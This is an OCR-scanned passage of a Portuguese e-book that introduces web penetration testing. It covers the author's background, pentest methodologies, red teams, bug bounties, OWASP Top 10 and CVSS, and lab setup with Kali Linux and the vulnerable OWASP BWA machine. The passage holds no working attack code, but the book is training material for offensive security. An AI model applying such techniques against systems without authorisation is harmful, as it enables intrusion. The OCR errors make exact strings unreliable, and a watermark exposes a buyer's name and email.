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INTRODUCAO

Quando ingressei na carreira de informatica, ap6s a conclusao
do curso técnico em 2012, o meu sonho era ser um excelente
desenvolvedor. Além de gostar muito de desenvolvimento, sempre
ouvia falar que era uma profissdo promissora e que eu ficaria rico!
Acho que essa segunda parte nao funcionou tdo bem assim. Mas,
brincadeira a parte, sempre tive o meu foco no desenvolvimento.

Com grande foco na darea de desenvolvimento, eu ndo medi
esfor¢os para aprender muito. Eu era um grande adepto da
linguagem Java e havia me apaixonado por Orientagdo a Objetos e
Design Patterns. Nessa época, ja era um cliente da Casa do Coédigo
e dos seus excelentes livros de programacdo. Diante disso, eu
sempre pensava comigo mesmo se um dia seria capaz de escrever
um livro nesse padrao para a Casa do Codigo.

Em 2014, eu fui aprovado em um concurso publico para
militar da Forga Aérea Brasileira e meu sonho era desempenhar
essa funcdo de desenvolvedor quando fosse nomeado. Felizmente,
para minha carreira de hoje, ndo houve vagas disponiveis para a
organizagdo responsavel por grandes projetos de desenvolvimento
e acabei indo para Brasilia, que possui um centro de computagio
encarregado da defesa cibernética.

Hoje, tenho certeza de que eu vim para o lugar certo na hora
certa. A seguranga cibernética estava entrando em alta, devido aos
diversos ataques cibernéticos que ja estavam acontecendo com
uma frequéncia muito grande. Eu aproveitei uma grande
oportunidade, pois ndo era comum haver desenvolvedores com
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atividade focada em seguranga cibernética, entdo pude
rapidamente entrar na rea.

Diante desse cendrio, deixei o desenvolvimento de sistemas de
negocios e passei a desenvolver ferramentas para seguran¢a e me
aperfeicoar em técnicas de seguranga ofensiva. O meu
conhecimento prévio em linguagens de programacao fez com que
eu tivesse um entendimento muito mais rapido e profundo sobre
as vulnerabilidades dos sistemas. Com isso, ajudei a melhorar a
seguranca de muitos sistemas validando-os do ponto de vista do
atacante e fazendo um grande elo com a equipe de
desenvolvimento.

Como eu ja desenvolvia antes e até tinha feito um estdgio na
area de desenvolvimento, ja tinha mapeado como os
desenvolvedores poderiam ter implementado uma fungio
vulneravel. Eu tinha essas possiveis falhas em minha mente,
porque eu desenvolvia os sistemas dessa forma antigamente.
Apesar de ser capaz de muitas coisas na area de desenvolvimento, a
minha formacdo deixou de lado os conhecimentos de
desenvolvimento seguro. Sabe por qué? Porque a seguranga era
vista como uma perda de tempo, ja que o cliente sé veria a
funcionalidade.

Que bom que pude acompanhar de perto uma mudanga de
pensamento. Hoje, a seguranca de codigo é falada em diversas
palestras para desenvolvedores e desenvolvedoras. Talvez ainda
ndo o quanto deveria, mas eu fico feliz por esse tema fundamental
ter sido incorporado com frequéncia nesses eventos.

Caso vocé seja um desenvolvedor ou uma desenvolvedora,
vocé podera ter as mesmas percepgdes que comecei a ter ao ter
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contato com as vulnerabilidades. Com certeza, vocé fard um elo
com o seu passado e podera assim validar os sistemas e dar a eles
um requinte a mais.

O conhecimento de agdes ofensivas sob o ponto de vista do
atacante vai transformar o seu pensamento e, se continuar na drea
de desenvolvimento, vai se tornar wum(a) profissional
diferenciado(a). Com isso, é seguro dizer que este livro ndo se
limita a area de atuagdo de seguranca. Vocé verd a sua utilidade em
todos os dias da sua carreira, seja ela qual for.

PARA QUEM E ESTE LIVRO E PRE-
REQUISITOS

Este ¢ um livro totalmente dedicado a uma atividade ofensiva
de testes de invasdo em aplicacdes web. Sendo assim, ele é feito
para todos que querem conhecer um pouco mais dessa area, que
esta em alta atualmente. Nesse contexto, sdo necessarios diversos
conhecimentos que podem abranger toda drea de TI. Quando
trabalhamos com seguranga ofensiva, vemos claramente o quanto
as areas da T1 sdo interligadas na pratica.

Eu sei que ndo é possivel saber muitas coisas de TI a priori,
pois a TI é imensa. No entanto, vocé também sabe que tudo tem
um comego. Apesar de o estudo ser fundamental para seu sucesso
profissional na area de seguranca ofensiva, vocé ndo alcangara
grandes resultados na carreira se ndo praticar as técnicas
aprendidas com frequéncia. Apenas a experiéncia vai levar vocé a
grandes caminhos em relagdo ao conhecimento necessario.

Este é um livro introdutdrio, entdo é recomendado apenas que

E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



vocé tenha os conhecimentos mais basicos, que incluem: redes de
computadores com seus protocolos basicos, sistema operacional
Linux, logica de programagdo, banco de dados e o basico de
linguagens de programacgido, como JavaScript, Python e PHP.
Todos esses conceitos serdo abordados com menos detalhes ao
decorrer do livro, pois suponho que vocé ja tem esse
conhecimento. Caso vocé ndo domine algum conteudo necessario,
ndo se assuste, isso acontece comigo até hoje. Aconselho vocé a se
acostumar com a pesquisa e o aprendizado em paralelo, pois essa
necessidade estara presente durante toda a sua carreira.

SOBRE O AUTOR

Figura 1: José Augusto.

LinkedIn: https://www.linkedin.com/in/jaaj16/

Sou José Augusto, especialista em red team e pentest. Com o
objetivo de me aperfeicoar nessas areas, em minha carreira
conquistei trés certificagdes: OSCP, OSCE e OSWP, que me
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ajudaram muito a ampliar as habilidades técnicas. Claro, isso
considerando também a alta intensidade da pratica no dia a dia.

Como acredito que cada individuo deveria cumprir também
uma fungdo social, tornei-me voluntariamente, com mais dois
amigos, coordenador do capitulo OWASP de Brasilia. A OWASP ¢
uma comunidade on-line que cria e disponibiliza artigos,
metodologias, documentagdes, ferramentas e tecnologias no
campo da seguranca de aplicagbes web de forma gratuita. No
capitulo de Brasilia, nossa funcido é realizar eventos periddicos
direcionados a comunidade da regido, isso para que seja
fomentado o interesse em jovens e para propagar o conhecimento
de seguranca e a pratica de networking. Fazemos e incentivamos
muito a orientagdo profissional, para que cada vez mais jovens

tenham interesse em ingressar profissionalmente na area.

Sou também um apaixonado por resolver problemas de
seguranca cibernética de uma forma inovadora e por lecionar,
entdo nao me limitei apenas ao lado corporativo. Desse modo,
decidi, paralelamente, seguir uma trilha no mundo académico
tornando-me doutorando em seguranca da informagdo pela UnB,
onde anteriormente ja havia concluido o mestrado em seguranga
cibernética. No mundo académico, pude aprender e superar
desafios que nem mesmo sabia que era capaz - a perseveranga foi a
chave para essa conquista. Nessa drea, interesso-me muito por
pesquisas em seguranca ofensiva, Inteligéncia Artificial aplicada a
seguranca ofensiva e seguranca de aplicagdes.

Meu gosto por seguranca cibernética vem desde cedo, pois,
anteriormente, ja havia cursado uma pés-graduagao lato sensu em
seguranca da informa¢do e uma especializagio em guerra
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cibernética pelo Centro de Instru¢cio de Guerra Eletronica do
Exército. Minha formagéo superior foi em Sistemas de Informagao,
mas iniciei na area de informatica em 2012, apds a conclusdo do
curso técnico em informatica pela ETEC Guaratingueta-SP, cidade
onde nasci.

Durante o nivel superior, dediquei-me duramente a um estagio
na darea de desenvolvimento, o que me rendeu muito
conhecimento. Em 2014, fui aprovado em concurso militar para
especialidade de sistemas de informacio na For¢a Area Brasileira e
desde 2015, quando terminei a forma¢ao militar, trabalho
diretamente com seguranca ofensiva e andlise de vulnerabilidades.

SOBRE O LIVRO

Este livro foi feito com um pensamento diferente. Aqui nio
sera abordado nada sobre corre¢do das vulnerabilidades no cédigo.
Este livro é focado nas questdes ofensivas. Vocé aprenderd a
validar as defesas do seu sistema do ponto de vista do atacante.
Mas caso vocé queira saber como realizar corregdes, indico-lhe um
excelente livro também sobre seguranca aqui da Casa do Cddigo,
chamado Seguranga em aplicagoes Web
(https://www.casadocodigo.com.br/products/livro-seguranca), do
autor Rodrigo Ferreira.

Este livro sobre pentest é considerado introdutodrio, ja que nele
abordarei os conceitos e vulnerabilidades fundamentais. O objetivo
do livro ¢ ensinar vocé a utilizar ferramentas de teste de invasdo,
realizar a explora¢do de vulnerabilidades mais comuns e entendé-
las. Queremos aqui que vocé aperfeicoe o seu pensamento, passe a
ter a visdo que um atacante pode ter do sistema e que assim vocé
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consiga realizar orientagdes muito eficazes para uma equipe de
desenvolvimento. Isso tudo por meio de relatérios de exploragao
de vulnerabilidades.

Este material também podera ser de grande contribuicao se
vocé pretende entrar na drea e ser um(a) profissional de seguranca
ofensiva. Quem sabe, talvez vocé queira se transformar em um
jogador de CTF (Capture The Flag), que é uma competicao hacker
similar a um jogo, ou até mesmo participar de programas de bug
bounty, onde as empresas oferecem recompensas caso Vocé
descubra e reporte vulnerabilidades em seus sistemas.

Além disso, com este livro, vocé vai compreender os aspectos
necessarios para ser um pentester, que ¢ o profissional especialista
de teste de seguranca ofensiva, ou até mesmo para compor um red
team, uma equipe especializada em simular um adversario real.
Existem muitas frentes em que vocé pode atuar, até mesmo se
estiver investigando a drea e quiser desenvolver um trabalho
cientifico, todos esses entendimentos serdo requeridos durante essa
jornada.

Entdo, o que vocé estd esperando para embarcar nessa aventura
e se tornar um hacker profissional? Com esse conhecimento, vocé
sera capaz de deixar os programadores boquiabertos com as suas
habilidades de manipulagdo. Vocé sera capaz de provar na pratica
os impactos das vulnerabilidades na sua organiza¢do e serd muito
bem-visto por isso. Algumas poucas agdes de seguranca ja podem
economizar milhdes, apenas descobrindo as falhas antes dos
hackers do mal.
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CapiTuLO 1

INTRODUCAO AOS
TESTES DE INVASAO

O pentest pode ser conhecido por diversos nomes, como teste
de invasdo, teste de penetracdo, teste de exploracgdo, entre outros.
Diferentemente do teste de software, cujo objetivo é validar se o
sistema segue o fluxo correto, os testes de invasdo sdo um tipo de
teste de seguranca. Sao usados para verificar se um usudrio
experiente pode abusar das func¢bes do sistema a fim de realizar
operagdes nao previstas.

Quando um sistema ndo implementa as medidas de seguranga
necessarias, dependendo do grau da vulnerabilidade, qualquer
pessoa - até mesmo uma com poucos conhecimentos - pode
interromper ou obter acesso nado autorizado ao sistema.
Geralmente, as falhas de seguranca sdo tidas como erros acidentais
que ocorrem durante o desenvolvimento e implementacao do
software. No entanto, ndo podemos descartar a possibilidade de
um agente mal-intencionado interno ter criado uma
vulnerabilidade propositalmente.

Para reduzir as chances de exploragdo do sistema, o teste de
penetragio pode ser empregado para avaliar a capacidade de
protecio do sistema e sua infraestrutura. Uma validagido de
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seguranca ofensiva pode descobrir, antes de um atacante, uma
vulnerabilidade que acarretaria grandes prejuizos para a
instituicao. Além disso, o teste de invasao pode ajudar a proteger
os controles de seguranga.

Pode parecer que nao, mas o teste de invasdo é uma atividade
de defesa, pois ele geralmente ¢ feito em ambiente controlado e
ultimamente tem se mostrado essencial por diversos motivos,

como:

o Identificar formas de invasio do sistema para realizar as
corregoes.

e Encontrar areas de maiores riscos para aperfeicoar as suas
defesas e filtros.

o Evitar vazamento de dados pessoais.

o Estimar os impactos da exploragdo de vulnerabilidades no
ambiente da organizagao.

o Fornecer evidéncias que justifiquem investimentos.

Com esse ponto de vista, podemos notar o qudo importante é
ter uma rotina de pentest para os sistemas da organizagdo. Sendo
assim, a presenca do hacker ético, também conhecido como
pentester, é fundamental para a realizagdo dessa atividade.

1.1 METODOLOGIAS DE TESTE DE INVASAO

Um teste de invasdo deve ser metddico, ou seja, quando
realizar um pentest, vocé deve seguir a risca o que a metodologia
dita. Em diversos sites, podemos encontrar metodologias que sdo
aplicadas a diversas situagdes e contextos em que o pentest pode
ser realizado. Ao decorrer do livro, ndo focaremos em metodologia
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e, sim, na técnica, mas nao deixaremos de passar por alguns pontos
importantes em todas as metodologias.

A principio, podemos dizer que todas as metodologias sdo
baseadas em reconhecimento, exploragao e pés-exploragao. Como
os testes de invasio podem fornecer resultados amplamente
diferentes, dependendo de quais padrdes e metodologias eles
utilizam, algumas metodologias de teste de invasdo fornecem uma
opg¢ao viavel para empresas que precisam proteger seus sistemas e
corrigir suas vulnerabilidades posteriormente. Aqui optei por
elencar cinco das metodologias, por serem bem famosas na drea.

Guias de testes da OWASP

Em termos de execucdo de testes técnicos de seguranca, os
guias de teste OWASP sao recomendados, ¢ claro, dependendo do
tipo de sistema a ser validado. Os guias de teste listados a seguir
atendem a testes de aplicagdes web, aos aplicativos mdveis e aos
firmwares IoT, respectivamente.

e OWASP Web Security Testing Guide
(https://owasp.org/www-project-web-security-testing-
guide/).

e OWASP Mobile Security Testing Guide
(https://owasp.org/www-project-mobile-security-testing-
guide/).

e OWASP Firmware Security Testing Methodology
(https://github.com/scriptingxss/owasp-fstm).

PTES

O padrio de execugio de teste de penetragdo, ou Penetration
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Testing Execution Standard (PTES), define o teste de invasdo em
sete fases. Suas diretrizes técnicas fornecem sugestdes praticas
sobre os procedimentos de testes e também recomendagdes para
ferramentas de teste de seguranca. Estas sao as fases do PTES:

¢ Interagdes pré-engajamento.
¢ Coleta de informagdes.

e Modelagem de ameagas.

¢ Andlise de vulnerabilidades.
o Exploragao.

o Poés-exploragio.

¢ Relatério.

OSSTMM

O Manual Metodoldgico para Testes de Seguranga de Codigo
Aberto, ou Open Source Security Testing Methodology Manual
(OSSTMM), ¢ uma metodologia para teste de seguranca
operacional de locais fisicos, fluxo de trabalho, teste em relagdo ao
pessoal, teste de seguranga fisica, teste de seguranca wireless, teste
de segurancga de telecomunicagdes, teste de seguranca de redes de
dados e conformidade.

Além de uma metodologia de testes de invasdo, o OSSTMM
pode ser referéncia de suporte da ISO 27001. Com isso, ela inclui
as seguintes se¢des principais:

¢ Andlise de seguranga.

Meétricas de seguranga operacional.

Analise de confianca.
Fluxo de trabalho.
Teste de seguranga humana.
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o Teste de seguranga fisica.

¢ Teste de seguranga em redes sem fio.

o Teste de seguranca de telecomunicagoes.

o Teste de seguranca de redes de dados.

e Compliance com regulamentos.

¢ Relatdrio de auditoria de teste de seguranga.

NIST 800-115

O Guia Técnico para Teste e Avaliagdo de Seguranga da
Informacao, ou Technical Guide to Information Security Testing
and Assessment (NIST 800-115), foi publicado pelo NIST (National
Institute of Standards and Technology) e inclui algumas técnicas de
avaliacao listadas a seguir:

e Técnicas de revisao.

o Técnicas de identificagdo e andlise de alvos.

o Técnicas de validagdo de vulnerabilidade de alvos.
¢ Planejamento de avaliagdo de seguranga.

¢ Execucdo de avaliagao de seguranga.

o Atividades pds-teste.

PTF

O Penetration Testing Framework (PTF) fornece um guia
pratico abrangente de testes de invasdo. Ele também lista os usos
das ferramentas de teste de seguranca em cada categoria de teste.
Essa metodologia versa sobre as seguintes fases:

e Reconhecimento.
e Descoberta e sondagem.

e Enumeracao.
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¢ Quebra de senha.

e Avaliagao de vulnerabilidade.

¢ Auditoria AS/400.

e Teste especifico em bluetooth.

e Teste em equipamentos Cisco.

o Teste especifico em Citrix.

e Backbone.

o Testes especificos em servidores.
e Seguranga VolIP.

e Testes de invasdo em redes sem fio.
e Seguranga fisica.

¢ Relatdrio final.

Como ja dito, existem diversas outras. Antes de escolher a
metodologia que mais se adequa ao seu caso, vocé deve analisar
bem o seu contexto. Dependendo das necessidades, vocé podera
adaptar algum ponto ou até mesmo terd de criar uma metodologia.
Essa hipdtese nao deve ser descartada.

1.2 RED TEAM E BLUE TEAM

Os red teams e blue teams tiveram origem na Guerra Fria e
passaram a ser conhecidos como uma maneira de simular um
confronto contra o inimigo. Esses dois nomes também siao muito
conhecidos por conta dos famosos exercicios red team vs. blue
team. Nesses exercicios, existe um confronto entre essas duas
equipes em ambiente simulado. Por padrio, o red team representa
o time de ataque, uma alusdo a um inimigo em potencial que fara
ataques a sua infraestrutura. Ja o blue team representa a propria
organizagdo, ou seja, é toda a sua equipe que deve estar preparada
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para realizar a defesa cibernética.

Os nomes red team e blue team tém ganhado for¢a no mundo
da seguranga cibernética. O red team realmente simula o atacante,
sendo orientado por um objetivo. Afinal, toda vez que uma
organizacdo ¢ alvo de um ataque, o atacante ou o grupo de
atacantes tem um objetivo. Esses objetivos podem ser diversos, e o
mais famoso é o objetivo financeiro. No entanto, a motivagdo pode
ser apenas a exaltacdo da capacidade do hacker de alterar algum
dado, conseguir dados pessoais, indisponibilizar um servigo e, até
mesmo, ter objetivos militares.

Muitas empresas ja vém adotando, para além do pentest, uma
equipe de red team. Essa equipe tem uma ac¢ao diferente, pois ela
deve ser sempre tida como um adversario pela defesa. Exercicios
red team vs. blue team tém se tornado constantes e estdo
colaborando muito para o aumento da defesa cibernética no
mundo.

Red team vs. testes de invasio

Em linhas gerais, podemos dizer que, apesar de muitas vezes
empresas venderem servio de red team como se fosse pentest,
essas atividades sao bem distintas. O red team, via de regra, recebe
um objetivo e nao mede esfor¢os para alcan¢a-lo. Geralmente, é
um time composto por especialistas em diversas tecnologias que o
alvo utiliza, ou seja, ¢ uma equipe altamente preparada para
simular técnicas, taticas e procedimentos dos adversarios. Ja no
teste de invasdo, o objetivo sempre é mapear o maior nimero
possivel de vulnerabilidades e, geralmente, isso é feito seguindo as

metodologias de testes de invasao.
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A tabela a seguir foi retirada do artigo Competéncias para os
cyber red teams no contexto militar e consegue resumir as
principais caracteristicas que diferenciam a atividade de teste de
invasdo da atividade de red team. Link do artigo:
https://www.researchgate.net/publication/339915820_Competenci
as_para_os_cyber_red_teams_no_contexto_militar.

Pentest Cyber red team

Faz uso de metodologias Nio ¢é obrigatdria, mas pode ser

Metodologias de forma sistemitica. u.tlhza~da ou adaptada para cada
situagdo.

Escopo Limitado Total

‘s Caixa preta, cinza ou Simulagio, sondagens de
Técnicas . 1 .

branca. vulnerabilidade, analises alternativas.

Objetivo Encontrar Cumprir o objetivo imposto

! vulnerabilidades. P ) posto.
Emprego Por causa da defesa Emular o inimigo.

cibernética.

1.3 OS FAMOSOS PROGRAMAS DE BUG
BOUNTY

Programas de bug bounty nada mais sdo que uma forma que
empresas encontraram de diagnosticar falhas em seus sistemas
com usudrios do mundo todo. Eles sio uma iniciativa que
recompensa individuos por relatar bugs em seus sistemas, tendo se
tornado muito famosos e ja possuem adeptos do mundo inteiro,
tanto como companhias quanto como profissionais.

Esses programas geralmente sdo adotados por empresas que ja
tém um processo maduro de seguranga, sendo uma forma de

completar os trabalhos de auditoria, teste de invasdo e atividades
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de red team feitas anteriormente.

Alguns bugs bounters, como sdo chamados os profissionais de
seguranca que participam desses programas, ja nao possuem
empregos fixos e vivem desse tipo de atividade. Os valores pagos
pelas empresas podem estar na casa dos dez mil dolares e em casos
especificos ultrapassar 50 mil ddlares em dinheiro, por
recompensa.

Veja, por exemplo, os prémios pagos por uma plataforma bem
conhecida chamada hackerone por meio deste link:
https://hackerone.com/hacktivity. Ao ver os valores, vocé podera
ficar impressionado e querer participar. Para isso, eu tenho uma
boa noticia: este livro vai ajudar muito na sua caminhada, mas
vocé precisara ir além.

Como motivagdo, deixo aqui a recomenda¢io de uma
plataforma muito famosa, chamada bugcrowd. Ela langa relatorios
sobre diversos aspectos relativos a atividade, entdo, quando puder,
o que vocé acha de dar uma olhada no relatdério de 2020? Veja em
https://www.bugcrowd.com/resources/reports/bugcrowd-priority-
one-report/.

Caso vocé fique rico no futuro com tantas recompensas, nao se
esqueca desse pobre aqui. Claro, brincadeiras a parte, mas o
assunto é muito sério e, caso vocé se empenhe bastante, podera ser
um bounter ativo e aproveitar essa renda como extra ou até como
principal. Além disso, apos vocé assimilar bem os conceitos de
exploragdo, sera um ambiente de grande experiéncia e

aprofundamento para o seu aprendizado.
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1.4 CONHECENDO O FAMOSO OWASP TOP
10

O OWASP Top 10 é um documento que tem como objetivo a
conscientizacao de desenvolvedores de sistemas web em relacdo a
seguranca e codificagdo segura. Nele, sdo apresentadas as dez
vulnerabilidades tidas como mais exploradas no periodo de
avaliagdo.

Esse documento da OWASP ¢ adotado como base para
aumentar a seguranc¢a das aplicagdes web. Ao comegar a usar o
OWASP Top 10, a empresa da o primeiro passo rumo a mudanga
de cultura de desenvolvimento de software em sua organizagao
para produzir um cédigo mais seguro.

A versao mais atual desse documento ¢ a de 2017, no entanto ja
existem rascunhos para uma nova versdo. Essa versao de 2017
apresentou as seguintes vulnerabilidades:

1. Injegao: as falhas de injecdo de SQL, NoSQL, comandos,
LDAP etc. ocorrem quando dados nio confidveis sdo
enviados a um sistema que os interpreta como parte de um
comando ou consulta preestabelecida.

\

2. Quebra de autenticagio: as fungdes relacionadas a
autenticagdo e ao gerenciamento de sessdo sdo muitas vezes
implementadas incorretamente. Isso permite que os
atacantes obtenham credenciais ou tokens de sessdo. Essa
falha também pode permitir que o atacante assuma as
identidades de outros usuarios.

3. Exposicao de dados sensiveis: existem muitas aplicagdes, e
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APIs ndo protegem adequadamente os dados sensiveis. Com
isso, pode-se roubar ou modificar esses dados a fim de
realizar fraudes de cartdo de crédito, roubo de identidade ou
outros crimes.

XXE: alguns processadores de XML configurados avaliam
referéncias de entidades externas em documentos XML.
Essas entidades externas podem ser usadas para revelar a
uma pessoa ndo autorizada os arquivos internos e,
dependendo do caso, pode até fornecer controle para o
atacante.

Quebra do controle de acesso: as restricdes sobre o que os
usuarios autenticados tém permissdo para fazer muitas vezes
nao sao aplicadas de forma adequada. Os invasores podem
explorar essas falhas para acessar funcionalidades e/ou dados
ndo autorizados, como contas de outros usudrios, visualizar
arquivos confidenciais, modificar dados de outros usudrios,
alterar direitos de acesso etc.

Configuragdo incorreta: a configuragio incorreta de
seguranca ¢ um dos problemas mais comumente visto. Isso

. v
eralmente é o resultado de configuracées que vém como
padrao.

7. XSS: as falhas de XSS ocorrem sempre que uma aplica¢ao
inclui dados nédo sanitizados em uma pagina da web. O XSS
permite que os invasores executem scripts no navegador da
vitima, que podem sequestrar as sessdes do usudrio,
desfigurar sites ou redirecionar o wusudrio para sites

maliciosos.
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8. Desserializacio insegura: a desserializagdo insegura
geralmente leva a execugao remota de cddigo. Mesmo que as
falhas de desserializagdo nao resultem na execu¢ao remota de
cddigo, elas podem ser usadas para realizar outros ataques.

9. Uso de componentes com vulnerabilidades conhecidas: se
um componente vulneravel for explorado, esse tipo de
ataque pode permitir, entre outras coisas, o controle do
servidor. Aplicagdes web e APIs que usam componentes com
vulnerabilidades conhecidas podem anular as defesas feitas
anteriormente pelas aplicagoes.

10. Registro e monitoramento insuficientes: a maioria dos
estudos de violacao mostra que o tempo para detectar uma
violagao é de mais de 200 dias, normalmente detectado por
partes externas em vez de processos internos ou
monitoramento.

Essas informagdes foram retiradas do site oficial da OWASP:
https://owasp.org/www-project-top-ten/

1.5 AVALIANDO A SEVERIDADE DAS
VULNERABILIDADES COM CVSS

O sistema de pontuacio de vulnerabilidade comum, mais
conhecido como Common Vulnerability Scoring System (CVSS),
identifica  as  principais  caracteristicas  técnicas  das
vulnerabilidades. Dessa forma, sdo exibidas notas que indicam a
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gravidade de uma vulnerabilidade e, com isso, é possivel compara-
las.

O CVSS é composto por trés grupos de métricas: basica,
temporal e de ambiente. A pontuagdo basica reflete a gravidade de
uma vulnerabilidade de acordo com suas caracteristicas
intrinsecas, que sdo constantes ao longo do tempo. As métricas
temporais ajustam a gravidade basica de uma vulnerabilidade com
base em fatores que mudam com o tempo. Ja as métricas de
ambiente servem para ajustar a pontuagdo das severidades dos
grupos basico e temporal a uma infraestrutura especifica. Para isso,
a métrica de ambiente considera fatores como as configuragdes
que podem dificultar a explora¢ao naquele ambiente.

7 .

Geralmente, apenas a pontuagdo bdsica ¢ citada. Em alguns
casos especificos podem ser utilizadas as outras pontuagdes. Vocé
podera calcular a severidade de uma vulnerabilidade usando uma
calculadora que esta disponivel em
https://www first.org/cvss/calculator/3.1.

Consideragoes finais do capitulo

Este capitulo teve como objetivo introduzir os leitores no tema
seguranca ofensiva e abordar as principais nomenclaturas e teorias
que sdo utilizadas dentro dessa drea de atuagdo. A partir desse
ponto, vocé ja conhece os principais aspectos tedricos que serdo
utilizados no decorrer de todo o livro.
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CapiTuLO 2

PREPARACAO DO
AMBIENTE

O teste de invasdo, ou pentest, é uma atividade em que sao
empregadas diversas técnicas para descobrir vulnerabilidades em
sistemas. O pentest tem como objetivo descobrir o maior nimero
possivel de vulnerabilidades e, para que isso aconteca, é necessario
um ambiente preparado. Isso porque o uso de ferramentas
automatizadas e, até mesmo, os testes feitos manualmente podem
causar a indisponibilidade do servigo, entre outras implicagdes. Em
um ambiente de homologa¢do, a queda do servio ndo traz
impacto negativo ao negocio.

A partir da préxima se¢do, vamos configurar as maquinas
virtuais que utilizaremos nos laboratérios, simulando um ambiente
de pentest. Como pré-requisito, levaremos em consideracio que
vocé ja possui o VirtualBox ou outro virtualizador de sua
preferéncia instalado. Com isso, instalaremos o Kali Linux, de
comum utiliza¢do para testes de invasdo, e também uma maquina
virtual com diversas aplicagoes web vulneraveis conhecida como
OWASP BWA. A mdquina vulneravel sera utilizada como alvo dos
nossos testes de invasdo e proporcionara o aprendizado pratico das
técnicas hackers.
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2.1 INSTALANDO O KALI LINUX, O SO DO
ATACANTE!

O Kali é uma distribuicdo Linux baseada em Debian voltada
para testes de invasdo e auditoria de seguranca. Ele contém
diversas ferramentas pré-instaladas para tarefas de seguranca
ofensiva e devido a isso o usaremos em nosso laboratério. Com a
sua utilizagdo, aumentaremos a performance em atividades como
configuracdo e instalagdo de ferramentas, o que vai nos permitir
uma dedicacdo maior as praticas de invasao.

Para facilitar ainda mais o nosso trabalho, vamos baixar a
maquina  virtual do Kali Linux pronta no site
https://www.osboxes.org. Para fazer o download da maquina
virtual do OSBoxes, acesse o0 menu VM IMAGES > VirtualBox
Images, depois va até a op¢ao Kali Linux e clique em Download
VirtualBox (VDI) image.

Na nova pdagina que abrird, arraste a barra de rolagem do
navegador para baixo e faga o download da maquina Kali.

Kali Linux 2020.2 (All Tools)

3

o VirtualBox (VDI) 32i)!t Size: 2.9GB

SHA256: 7db45cd4423dF370b@0ded8ar%abdaaalcc@@7e59ha7ae35a133a97da8ds
£ >
o VirtualBox (vVDI) 64bit Size: 3.4GB
SHA256: ca377795c8F1a141408a71chaS8ba6+8al5ec28185FF50e447cB61bead3c
£ >

VirtualBox

Figura 2.1: Download do Kali Linux.
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Apoés baixado o arquivo, devera ser feita a descompactagao.
Vocé notard que existe um arquivo de extensdo .vdi , que
representa o disco da madquina virtual. Para importd-lo no
VirtualBox, vocé devera criar uma nova maquina virtual e
adicionar o arquivo .vdi como disco dela. Os passos para esse

processo serdo mostrados a seguir.

No VirtualBox, clique em Novo.

P
i W >
-
Movo Configuracdes Descartar  Inidar (T)

Figura 2.2: 1* Passo nova VM.

Na proxima tela, preencha os campos Nome com Kali
Linux , Tipo com Linux e Versdo com Debian , conforme a
imagem a seguir. Nao ¢ necessdrio realizar alteragdes no campo

Pasta da Mdquina.

Nome e Sistema Cperacional

Escolha um nome descritivo para a nova maquina virtual e selecione o tipo de sistema
operacional que vocé pretende instalar nela, O nome que vocé escolher serd utilizado
pelo VirtualBox para identificar esta maquina.

MNome: |Ka|i Linux |

Pasta da Maquina: | C:\Users\WISITANTE WirtualBox WMs ~ |
Tipo: | Linux i ?”‘:‘
Vers3o: | Debian (64-bit) X

Modo Expert Cancelar

Figura 2.3: Configuragdo da VM.
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Com o preenchimento dos campos supracitados feito, clique
em Proximo e selecione a quantidade de memdria RAM que vocé
deseja alocar para sua maquina virtual. A recomendagdo minima
para alocagao de memoria RAM ¢ de 1GB, segundo o VirtualBox.

No proximo passo, devemos importar o disco do Kali, antes de
usarmos a nossa maquina virtual. Para isso, selecione a opgdo
Utilizar disco rigido virtual existente e, ao abrir a segunda tela,
clique em Acrescentar e selecione o arquivo .vdi . Apds importar,
selecione o disco e clique em Escolher, conforme a figura a seguir.

Kali Linux - Seletor de Discos Rigidos ? *
Midia

Z
Acrescentar | Atualizar
MNome Tamanhe Virtual Tamanho Real
v Mot Attached

Kali Linux 2020.2 (64bit).vdi 500,00 GB 15,89 GB
Buscar por Nome ~ |(Sa 4@
coce

Figura 2.4: Impotar VDI Kali.

Concluido todo esse processo, clique em Criar e pronto! Sua
maquina virtual esta completa. Agora, inicie a maquina virtual do
Kali e vamos realizar algumas configuragdes necessarias para um
funcionamento mais agradavel.

Para efetuar o login inicial nesta maquina virtual do Kali, use
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as seguintes credenciais:

Usuario: osboxes
Senha: oshoxes.org

Ao digitar algo, vocé notara que o seu teclado estd
desconfigurado. Para resolver esse problema, faremos uma
alteracdo no arquivo /etc/default/keyboard , onde trocaremos
o valor do parametro XKBLAYOUT para br . Em sistemas Linux,
ao se tornar o usudrio administrador, chamado de root, vocé pode
fazer isso com o comando sudo su e depois executando o
comando:

sed -i "s/us/br/g" /etc/default/keyboard

Além disso, vamos realizar a troca da senha do usudrio root
para kali e também copiar o arquivo .bashrc do diretério do
usuario osboxes para o do root. Esse arquivo deixara o terminal do
usudrio root mais elegante. Para fazer isso, no mesmo terminal
aberto anteriormente, execute os seguintes comandos:

passwd root
cp /home/osboxes/.bashrc /root/

Com essas configuragoes realizadas, reinicie a maquina virtual
com o comando reboot e faga o login como root na interface
grafica. Estar logado como root nos dara agilidade no decorrer dos
testes.

2.2 INSTALANDO A OWASP BWA, A NOSSA
VITIMA!

A OWASP BWA é uma madaquina virtual que possui um
conjunto de aplicagdes web reconhecidamente vulneraveis. Ela é
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muito utilizada por profissionais que desejam entender mais sobre
as vulnerabilidades e as técnicas que hackers usam para fazer a
exploracao de sistemas web. Dessa forma, ela se torna muito
interessante para o nosso laboratdrio, ja que, no decorrer do livro,
vamos entender na pratica como as vulnerabilidades podem ser
exploradas.

O procedimento para instalagdo no VirtualBox ¢ similar ao do
Kali Linux. Para instalarmos, vamos acessar o site
https://sourceforge.net/projects/owaspbwa/files e clicar em
Download Latest Version. Feito o download, devemos
descompactar o arquivo baixado.

Vamos notar que neste caso o arquivo do disco é de extensdo

.vmdk , mas isso na pratica nao altera os procedimentos,

mantendo o mesmo processo realizado com o .vdi da maquina
Kali Linux.

Para a maquina OWASP BWA, vocé pode alocar 256MB de
memoria RAM, pois ela ndo precisa de muito para seus sistemas.
Na proxima etapa, vocé deve selecionar o disco, utilizando desta
vez o arquivo de extensdo .vmdk , conforme a figura:
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w,l sdas - Seletor de Discos Rigidos ? *
9
Midia

@ ©

Acrescentar | Atualizar

MNome Tamanho Virtual Tamanho Real
v Mot Attached
Kali Linux 2020.2 (64bit).vdi 500,00 GB 15,90 GB
OWASP Broken Web Apps-cll.wmdk 8,00 GB 591 GB
Buscar por Nome ~ |(Sa 4@

Escolher Cancelar

Figura 2.5: Importar VDI OWASP BWA.

